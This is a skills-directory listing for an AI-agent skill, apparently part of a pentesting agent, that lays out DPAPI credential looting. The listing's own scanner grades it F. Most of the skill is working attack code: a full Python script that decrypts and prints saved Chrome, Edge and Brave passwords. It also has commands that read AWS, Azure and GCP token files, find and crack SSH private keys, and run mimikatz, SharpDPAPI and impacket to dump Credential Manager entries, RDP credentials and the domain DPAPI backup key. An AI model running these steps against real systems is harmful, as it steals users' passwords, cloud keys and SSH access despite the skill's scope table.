Skip to content
Back to skills

Khaos Dpapi Looting

FSecurity

DPAPI credential looting — Chrome/Edge saved passwords, Windows Credential Manager, AWS/Azure CLI credentials, SSH keys, RDP saved credentials, offline DPAPI with masterkey

  • 6 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added December 5, 2026
ai-agentspythongoshellbashsqlawsgcpazureterraformapi

Works with

  • cli
  • api

Security analysis

F21/100
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalReads or references SSH private keys
  • criticalReads or references SSH private keys
  • criticalReads or references SSH private keys
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro scans all 2 files and shows the line behind each finding

Scanned December 5, 2026

npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-dpapi-looting --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Khaos Dpapi Looting?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Khaos Dpapi Looting
[![Security: F — Skills Directory](https://www.skillsdirectory.com/api/skills/henriqqw-khaos-dpapi-looting-khaos-pentester-agent/badge)](https://www.skillsdirectory.com/skills/henriqqw-khaos-dpapi-looting-khaos-pentester-agent)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: khaos-dpapi-looting
description: DPAPI credential looting — Chrome/Edge saved passwords, Windows Credential Manager, AWS/Azure CLI credentials, SSH keys, RDP saved credentials, offline DPAPI with masterkey
metadata:
  khaos:
    stages: [exploitation, validation]
    tool_ids: []
---

# DPAPI Credential Looting Methodology

DPAPI (Data Protection API) encrypts sensitive data tied to a user account. When you have a shell as the user (or their password), all DPAPI-protected data is accessible. High-value targets: browser saved passwords, Windows Credential Manager, cloud CLI credentials (AWS/Azure/GCP), SSH keys.

## Phase 1: Browser saved passwords (Chrome/Edge)

```python
#!/usr/bin/env python3
"""
Extract Chrome/Edge saved passwords using DPAPI.
Requires running as the target user or with their token.
"""
import os, json, sqlite3, base64, shutil
from pathlib import Path

try:
    import win32crypt
    from Crypto.Cipher import AES
except ImportError:
    print("Run: pip install pywin32 pycryptodome")
    exit(1)

BROWSERS = {
    "Chrome": Path.home() / "AppData/Local/Google/Chrome/User Data",
    "Edge":   Path.home() / "AppData/Local/Microsoft/Edge/User Data",
    "Brave":  Path.home() / "AppData/Local/BraveSoftware/Brave-Browser/User Data",
}

def get_encryption_key(user_data_path):
    local_state = user_data_path / "Local State"
    with open(local_state, "r", encoding="utf-8") as f:
        local_state_data = json.loads(f.read())
    encrypted_key = [REDACTED](local_state_data["os_crypt"]["encrypted_key"])
    encrypted_key = encrypted_key[5:]  # Remove DPAPI prefix
    return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]

def decrypt_password(ciphertext, key):
    try:
        iv = ciphertext[3:15]
        password = ciphertext[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(ciphertext, None, None, None, 0)[1])
        except:
            return ""

for browser, user_data in BROWSERS.items():
    if not user_data.exists():
        continue
    db_path = user_data / "Default/Login Data"
    if not db_path.exists():
        continue
    tmp_db = Path(f"/tmp/{browser}_logins.db")
    shutil.copy(db_path, tmp_db)
    key = get_encryption_key(user_data)
    conn = sqlite3.connect(tmp_db)
    for url, username, password in conn.execute(
        "SELECT origin_url, username_value, password_value FROM logins"
    ):
        decrypted = decrypt_password(password, key)
        if decrypted:
            print(f"[{browser}] {url} | {username} | {decrypted}")
    conn.close()
```

---

## Phase 2: Windows Credential Manager

```bash
# From a Windows shell (cmd/PowerShell) as the target user:

# Step 1: Enumerate saved credentials:
# cmdkey /list

# Step 2: Extract with mimikatz (from Meterpreter session):
# khaos_msf_session_command with:
# load kiwi
# kiwi_cmd vault::list
# kiwi_cmd vault::cred

# Step 3: Extract with SharpDPAPI (from Windows host):
# SharpDPAPI.exe credentials /unprotect

# Step 4: Extract via PowerShell:
python3 - << 'EOF'
# From a Meterpreter shell / khaos_shell_exec:
ps_cmd = """
Add-Type -AssemblyName System.Security
$credEnum = [System.Security.Credentials.CredentialManager]::Enumerate()
foreach ($cred in $credEnum) {
    Write-Output "$($cred.Target) | $($cred.UserName)"
}
"""
print("PowerShell enum:", ps_cmd)
EOF
```

---

## Phase 3: AWS / Azure / GCP CLI credential files

```bash
# AWS credentials (plaintext in ~/.aws/credentials):
cat ~/.aws/credentials
# Profile structure: [default] / [profile_name]
# aws_access_key_id = AKIA...
# aws_secret_access_key = ...

# AWS SSO token cache:
ls ~/.aws/sso/cache/ 2>/dev/null
cat ~/.aws/sso/cache/*.json 2>/dev/null

# Azure CLI credentials:
cat ~/.azure/accessTokens.json 2>/dev/null    # Legacy
cat ~/.azure/msal_token_cache.json 2>/dev/null  # Modern MSAL
# Contains: access_token, refresh_token, home_account_id

# GCP application default credentials:
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null
# Contains: access_token, refresh_token, client_id, client_secret

# Terraform state files (may contain plaintext secrets):
find / -name "terraform.tfstate" 2>/dev/null | head -5 | xargs grep -l "password\|secret\|key" 2>/dev/null
```

---

## Phase 4: SSH private keys and passphrase extraction

```bash
# Step 1: Find SSH private keys:
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" \
  -o -name "*.pem" -o -name "*.key" 2>/dev/null | \
  grep -v "proc\|sys" | head -20

# Step 2: Check for unencrypted keys (immediate use):
head -3 ~/.ssh/id_rsa | grep -q "ENCRYPTED" && echo "encrypted" || echo "unencrypted"

# Step 3: Extract passphrase via DPAPI (Windows OpenSSH stores key passphrase in DPAPI):
# Location: %APPDATA%\Microsoft\OpenSSH\known_hosts
# Passphrase blob: %APPDATA%\Microsoft\OpenSSH\

# Step 4: Crack encrypted key passphrase with hashcat/john:
# python3 ssh2john.py id_rsa > /tmp/ssh_hash.txt
# john /tmp/ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# hashcat -a 0 -m 22921 /tmp/ssh_hash.txt rockyou.txt

# Step 5: Use key to access other systems:
cat ~/.ssh/known_hosts | grep -oP '\S+(?=\s+ssh-)' | sort -u
# → list of hosts this key was used to connect to
```

---

## Phase 5: Offline DPAPI with domain backup key

```bash
DC_IP="DC_IP"
DOMAIN="DOMAIN"
DC_USER="Administrator"
DC_HASH="NT_HASH"

# Step 1: Extract domain DPAPI backup key (requires Domain Admin):
# The domain backup key decrypts ALL user DPAPI blobs domain-wide
impacket-dpapi backupkeys --export -t "$DOMAIN/$DC_USER@$DC_IP" -hashes ":$DC_HASH"
# Output: private_key.pvk

# Step 2: Collect user DPAPI masterkey files:
# Local: %APPDATA%\Microsoft\Protect\<SID>\
# From DC backup (via secretsdump or VSS):
impacket-secretsdump -system SYSTEM -security SECURITY LOCAL

# Step 3: Decrypt masterkeys with backup key:
impacket-dpapi masterkey -file <masterkey_blob> -pvk private_key.pvk

# Step 4: Decrypt Chrome Login Data offline (no user session needed):
impacket-dpapi chrome --password <user_password> -target <login_data_file>
```

---

## Phase 6: RDP saved credentials

```bash
# Windows RDP saved credentials are stored as DPAPI-protected Credential blobs:
# Location: %APPDATA%\Microsoft\Credentials\

# Step 1: Enumerate:
# dir %APPDATA%\Microsoft\Credentials\

# Step 2: Extract with mimikatz:
# sekurlsa::wdigest
# dpapi::cred /in:%APPDATA%\Microsoft\Credentials\<BLOB_ID>

# Step 3: OR use SharpDPAPI:
# SharpDPAPI.exe rdg /unprotect

# Step 4: Windows Vault (mstsc.exe stores creds):
# cmdkey /list | grep "TERMSRV"
# → confirms saved RDP credentials

# Step 5: Dump all with impacket-dpapi:
# impacket-dpapi credential -file <BLOB> -key <masterkey>
```

---

## ⛔ Prohibition table

| Prohibited | Alternative |
|---|---|
| Exfiltrating browser passwords for accounts outside the assessed user | Demonstrate decryption works for one test credential; note access is possible for all saved passwords |
| Extracting domain DPAPI backup key without Domain Admin authorization | Confirm backup key extraction is in scope; document the technique if not |
| Using AWS/Azure credentials from files to access cloud resources outside scope | Validate credential validity (STS GetCallerIdentity); do not access any resources outside scope |
| Cracking SSH key passphrases and using keys to pivot to unscoped systems | Confirm key access and pivot path; do not access unscoped systems |

## ✓ Completion self-check

- [ ] Browser credential file located: Chrome/Edge Login Data path confirmed
- [ ] At least one browser password decrypted: URL + username + plaintext password
- [ ] Windows Credential Manager enumerated: cmdkey /list output reviewed
- [ ] Cloud CLI credentials checked: ~/.aws/credentials or ~/.azure/msal_token_cache.json
- [ ] SSH keys located: at least one private key found; encrypted/unencrypted noted
- [ ] DPAPI masterkey path documented: %APPDATA%\Microsoft\Protect\ contents listed
- [ ] Offline DPAPI technique documented if domain backup key is accessible
- [ ] Chain: CWE-312 (Cleartext Storage of Sensitive Information) → chain_severity CRITICAL

Files in this skill

  • SKILL.md8 KB
  • scripts/dpapi_extractor.py3.6 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.